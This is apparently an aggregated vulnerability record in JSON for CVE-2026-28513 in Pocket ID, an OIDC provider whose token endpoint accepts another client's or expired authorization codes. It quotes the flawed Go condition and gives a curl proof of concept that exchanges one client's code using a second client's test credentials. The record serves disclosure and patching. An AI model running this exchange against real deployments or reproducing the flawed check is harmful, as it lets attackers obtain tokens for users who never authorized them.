{"id":"CVE-2026-28513","aliases":["CVE-2026-28513","GHSA-qh6q-598w-w6m2","GO-2026-4656"],"related":[],"kind":"vulnerability","state":"published","title":"Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange","summary":"Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.4.0, the OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. This vulnerability is fixed in 2.4.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Pocket ID is an OIDC provider that allows users to authenticate with their passkeys to your services. Prior to 2.4.0, the OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse. This vulnerability is fixed in 2.4.0.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe OIDC token endpoint rejects an authorization code only when **both** the client ID is wrong **and** the code is expired. This allows cross-client code exchange and expired code reuse.\n\n### Details\n\n`backend/internal/service/oidc_service.go:407`\n\n```go\nif authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {\n    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}\n}\n```\n\n`&&` should be `||`. Current behavior:\n\n| Condition | Expected | Actual |\n|-----------|----------|--------|\n| Wrong client + valid code | Reject | **Accept** |\n| Correct client + expired code | Reject | **Accept** |\n\n### PoC\n\n**Prerequisite:** pocket-id running with `APP_ENV=test` and `BUILD_TAGS=e2etest`. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., `user_authorized_oidc_clients` records exist for both). The seed data includes an authorization code `auth-code` issued for the Nextcloud client.\n\n```bash\n# 1. Seed test data\ncurl -X POST \"http://localhost:1411/api/test/reset?skip-ldap=true\"\n\n# 2. Exchange Nextcloud's auth code using Immich's credentials\ncurl -X POST http://localhost:1411/api/oidc/token \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"grant_type=authorization_code\" \\\n  -d \"code=auth-code\" \\\n  -d \"client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018\" \\\n  -d \"client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x\" \\\n  -d \"redirect_uri=http://immich/auth/callback\"\n# Expected: 400 (wrong client)\n# Actual: 200 with tokens — access_token.aud = Immich client ID\n```\n\n**Verified result:** HTTP 200 with tokens. The `access_token` audience is `606c7782-...` (Immich), despite the authorization code being issued for `3654a746-...` (Nextcloud).\n\n### Impact\n\nAny OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Pocket ID: OIDC authorization code validation uses AND instead of OR, allowing cross-client token exchange in github.com/pocket-id/pocket-id/backend","format":"markdown","source":"go"},{"lang":"es","text":"Pocket ID es un proveedor OIDC que permite a los usuarios autenticarse con sus passkeys en sus servicios. Antes de la 2.4.0, el endpoint de token OIDC rechaza un código de autorización solo cuando tanto el ID del cliente es incorrecto como el código ha expirado. Esto permite el intercambio de código entre clientes y la reutilización de códigos expirados. Esta vulnerabilidad se ha corregido en la 2.4.0.","source":"nvd"}],"published":"2026-03-09T17:24:49.000Z","modified":"2026-06-17T10:28:46.527Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","score":8.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","score":7.1,"rating":"HIGH"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 2.4.0","status":"affected"}],"vendor":"pocket-id","product":"pocket-id","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260307173642-b59e35cb59ae"}],"ecosystem":"Go","package":"github.com/pocket-id/pocket-id/backend","purl":"pkg:golang/github.com/pocket-id/pocket-id/backend","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260307173642-b59e35cb59ae"}],"ecosystem":"Go","package":"github.com/pocket-id/pocket-id/backend","purl":"pkg:golang/github.com/pocket-id/pocket-id/backend","source":"go"},{"ranges":[{"status":"affected","fixed":"2.4.0"}],"vendor":"pocket-id","product":"pocket_id","cpe":"cpe:2.3:a:pocket-id:pocket_id:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/pocket-id/pocket-id/security/advisories/GHSA-qh6q-598w-w6m2","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28513","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/pocket-id/pocket-id","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-10T14:32:14.209Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-28513","url":"https://www.cve.org/CVERecord?id=CVE-2026-28513","licence":"CVE Terms of Use","modified":"2026-03-10T14:32:17.637Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qh6q-598w-w6m2","url":"https://github.com/advisories/GHSA-qh6q-598w-w6m2","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:03.213Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4656","url":"https://pkg.go.dev/vuln/GO-2026-4656","licence":"CC-BY-4.0","modified":"2026-03-23T04:52:50.572Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-28513","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28513","licence":"Public domain","modified":"2026-06-17T10:28:46.527Z"}],"updatedAt":"2026-11-25T22:59:15.560Z","epss":{"score":0.00308,"percentile":0.2552,"date":"2026-12-01T12:00:22.000Z"}}